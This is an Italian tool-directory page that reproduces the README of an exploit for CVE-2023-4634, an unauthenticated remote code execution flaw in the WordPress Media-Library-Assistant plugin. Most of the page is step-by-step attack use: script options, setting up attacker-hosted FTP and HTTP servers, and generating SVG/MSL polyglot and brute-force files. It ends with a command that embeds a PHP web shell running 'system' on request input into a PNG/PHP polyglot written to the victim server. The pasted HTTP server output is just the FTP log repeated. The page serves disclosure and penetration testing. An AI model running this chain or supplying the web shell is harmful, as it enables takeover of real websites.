Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-4634 — CVE-2023-4634 | Kitploit
Strumenti/GitHubGitHub/patrowl/cve-2023-4634
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed TeamingSviluppo Payload
GitHubpatrowl/cve-2023-4634

CVE-2023-4634

CVE-2023-4634

Vedi Repository
47956 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-4634

Exploit RCE per il Plugin Media-Library di Wordpress < 3.10 (CVE-2023-4634)

Info

Patrowl ha scoperto una vulnerabilità RCE non autenticata sul plugin Media-Library-Assistant per Wordpress in versione < 3.10. L'exploit non è banale e richiede un piccolo setup spiegato di seguito.

La scoperta globale e lo sfruttamento dell'exploit si trovano sul nostro blog: https://patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/

Prerequisiti per lo sfruttamento

  • Wordpress installato (tutte le versioni funzionano)
  • Media-Library-Assistant in versione < 3.10 (https://fr.wordpress.org/plugins/media-library-assistant/)
  • Librerie Imagick installate sul server
  • Configurazione predefinita di Imagick
  • Connettività di rete esterna

Rilevamento

Il rilevamento della vulnerabilità può essere effettuato utilizzando un controllo DNS di base su un server FTP remoto. Il template nuclei può essere trovato su: CVE-2023-4634.yaml.

nuclei -u http://x.x.x.x -t ./CVE-2023-4634.yaml

Lo sfruttamento completo e l'RCE possono quindi essere eseguiti utilizzando lo script CVE-2023-4634.py.

Nota: Puoi anche utilizzare lo script per attivare uno sfruttamento più semplice come LFI, basta forgiare un SVG specifico e ospitarlo sul tuo FTP, seguendo le raccomandazioni nel nostro blog.

Utilizzo

Installa i requisiti:

python3 -m pip install -r requirements.txt

Poi:

python3 CVE-CVE-2023-4634.py -h

Restituisce:

usage: CVE-2023-4634 Exploit [-h] [--target [TARGET]] [--remoteftp [REMOTEFTP]] [--remotehttp [REMOTEHTTP]] [--svg_polyglot_name [SVG_POLYGLOT_NAME]] [--svg_exploiter_names [SVG_EXPLOITER_NAMES]] [--png_polyglot_name [PNG_POLYGLOT_NAME]] [--concurrency [CONCURRENCY]] [--generatesvg | --no-generatesvg] [--webserverpath WEBSERVERPATH]
                             [--exploitname EXPLOITNAME] [--generatepng | --no-generatepng] [--payload PAYLOAD]

Exploit CVE-2023-4634 su Media-Library-Assistant versione < 3.10

options:
  -h, --help            mostra questo messaggio di aiuto ed esce
  --target [TARGET]     URL del target, es http://victimwordpress.org
  --remoteftp [REMOTEFTP]
                        URL del FTP remoto utilizzato per memorizzare i file SVG, es ftp://X.X.X.X:PORT
  --remotehttp [REMOTEHTTP]
                        URL dell'HTTP remoto utilizzato per memorizzare il file finale Poliglotta PNG/PHP, es http://X.X.X.X:PORT
  --svg_polyglot_name [SVG_POLYGLOT_NAME]
                        Nome del file poliglotta SVG/MSL esterno (per generazione o uso finale), esempio: poly.svg
  --svg_exploiter_names [SVG_EXPLOITER_NAMES]
                        Nome dei file esterni di brute-force VID, la parte FUZZ sarà sostituita dal primo carattere forzato (per generazione o uso finale), es: exploiter_FUZZ.svg
  --png_polyglot_name [PNG_POLYGLOT_NAME]
                        Nome del PNG/PHP esterno da usare (per generazione o uso finale), es: exploiter_FUZZ.svg
  --concurrency [CONCURRENCY]
                        Numero di richieste di conversione SVG lunghe concorrenti da effettuare (default 100)
  --generatesvg, --no-generatesvg
                        Genera sia il file poliglotta SVG/MSL che il brute-forcer VID nella directory remote_ftp
  --webserverpath WEBSERVERPATH
                        Percorso del server web sulla vittima (può essere trovato con LFI e file wp-config) esempio: /var/www/html
  --exploitname EXPLOITNAME
                        Nome dell'exploit rilasciato esempio: pwned.php
  --generatepng, --no-generatepng
                        Genera il file poliglotta PNG/PHP, integra il file php con l'opzione -payload nella cartella exploit-png
  --payload PAYLOAD     Payload PHP da integrare nel file PNG es: <?php phpinfo(); ?>

Ora, per funzionare, devi configurare su host remoti:

  • 1 server FTP che ospita i file poliglotti SVG/MSL e gli sfruttatori SVG/VID
  • 1 server HTTP che ospita il file poliglotta PNG/MSL

Prima dello sfruttamento

Prepara il tuo server FTP

Puoi eseguire un semplice server FTP usando Python:

python3 -m pyftpdlib -p 2122
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

Una volta configurato, devi aggiungere al tuo server FTP i file poliglotti SVG/MSL e tutti gli sfruttatori SVG. Puoi generarli facilmente usando lo script:

python3 CVE-2023-4634.py --generatesvg --svg_polyglot_name poly.svg --svg_exploiter_names exploiter_FUZZ.svg  --remotehttp http://192.168.1.164:8081 --png_polyglot_name virus.png  --webserverpath /var/www/html --exploitname pwned.php

Genererà nella cartella remote_ftp:

  • poly.svg, poliglotta SVG/MSL con indirizzo non instradato che richiederà molto tempo per essere generato dal target, con un MSL che memorizzerà il png_polyglot_name da remotettp al percorso di destinazione (webserverpath+ exploitname)
  • tutti i 64 sfruttatori SVG/VID che utilizzano la nomenclatura exploiter_FUZZ dove FUZZ sarà sostituito dal carattere forzato

Nota che lo script copierà anche il file svg con [0] alla fine (poly.svg e poly.svg[0]). Entrambi i file sono necessari affinché lo sfruttamento funzioni.

Metti tutti i file generati (normali e [0]) nella directory root del tuo server FTP. Dovrebbe apparire così:

ls remote_ftp/
exploiter_-.svg    exploiter_3.svg    exploiter_7.svg    exploiter_B.svg    exploiter_F.svg    exploiter_J.svg    exploiter_N.svg    exploiter_R.svg    exploiter_V.svg    exploiter_Z.svg
exploiter_-.svg[0] exploiter_3.svg[0] exploiter_7.svg[0] exploiter_B.svg[0] exploiter_F.svg[0] exploiter_J.svg[0] exploiter_N.svg[0] exploiter_R.svg[0] exploiter_V.svg[0] exploiter_Z.svg[0]
exploiter_0.svg    exploiter_4.svg    exploiter_8.svg    exploiter_C.svg    exploiter_G.svg    exploiter_K.svg    exploiter_O.svg    exploiter_S.svg    exploiter_W.svg    exploiter__.svg
exploiter_0.svg[0] exploiter_4.svg[0] exploiter_8.svg[0] exploiter_C.svg[0] exploiter_G.svg[0] exploiter_K.svg[0] exploiter_O.svg[0] exploiter_S.svg[0] exploiter_W.svg[0] exploiter__.svg[0]
exploiter_1.svg    exploiter_5.svg    exploiter_9.svg    exploiter_D.svg    exploiter_H.svg    exploiter_L.svg    exploiter_P.svg    exploiter_T.svg    exploiter_X.svg    poly.svg
exploiter_1.svg[0] exploiter_5.svg[0] exploiter_9.svg[0] exploiter_D.svg[0] exploiter_H.svg[0] exploiter_L.svg[0] exploiter_P.svg[0] exploiter_T.svg[0] exploiter_X.svg[0] poly.svg[0]
exploiter_2.svg    exploiter_6.svg    exploiter_A.svg    exploiter_E.svg    exploiter_I.svg    exploiter_M.svg    exploiter_Q.svg    exploiter_U.svg    exploiter_Y.svg
exploiter_2.svg[0] exploiter_6.svg[0] exploiter_A.svg[0] exploiter_E.svg[0] exploiter_I.svg[0] exploiter_M.svg[0] exploiter_Q.svg[0] exploiter_U.svg[0] exploiter_Y.svg[0]

Prepara il tuo server HTTP

Puoi eseguire un semplice server HTTP usando Python:

python3 -m http.server -p 8081
[I 2023-08-31 12:24:17] concurrency model: async
[I 2023-08-31 12:24:17] masquerade (NAT) address: None
[I 2023-08-31 12:24:17] passive ports: None
[I 2023-08-31 12:24:17] >>> starting FTP server on 0.0.0.0:2122, pid=482661 <<<

Devi solo aggiungere il tuo file poliglotta PNG/PHP. Puoi anche usare lo script per generare il file e includere il payload desiderato:

python3 CVE-2023-4634.py --generatepng --payload "<?php if(isset(\$_REQUEST['cmd'])){ echo \"<pre>\"; \$cmd = (\$_REQUEST['cmd']); system(\$cmd); echo \"</pre>\"; die; }?>" --png_polyglot_name virus.png
Scarica lo strumento